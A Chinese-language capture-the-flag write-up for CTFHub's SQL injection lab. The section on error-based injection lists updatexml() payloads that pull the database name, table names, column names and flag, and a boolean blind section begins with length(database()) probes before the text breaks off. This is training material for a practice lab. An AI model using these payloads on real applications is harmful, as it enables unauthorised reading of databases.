CTFHub——SQL注入

目录

报错注入

布尔盲注

时间盲注

MySQL结构

Cookie注入

UA注入

Refer注入

过滤空格

---

附上链接：CTFHub

报错注入

按照它的提示：输入1

尝试闭合

输入1'

发现报错

判断几列

 

查询数据库

1 union select updatexml(1,concat(0x7e,database(),0x7e),1); #

查询表名

1 union select updatexml(1,concat(0x7e,(select(group_concat(table_name))from information_schema.tables where table_schema="sqli"),0x7e),1); # 

查询列名

1 union select updatexml(1,concat(0x7e, (select(group_concat(column_name))from information_schema.columns where table_name="flag") ,0x7e),1); #

查询flag信息

1 union select updatexml(1,concat(0x7e, (select(group_concat(flag)) from sqli.flag) ,0x7e),1); #

发现不全

1 union select updatexml(1,concat(0x7e, right((select(group_concat(flag)) from sqli.flag) ,31),0x7e),1); #

布尔盲注

left( str, length) 从左开始截取字符串

 输入1

1'

判断列数

判断数据库长度

1 and length(database())>5

1 and length(database())=4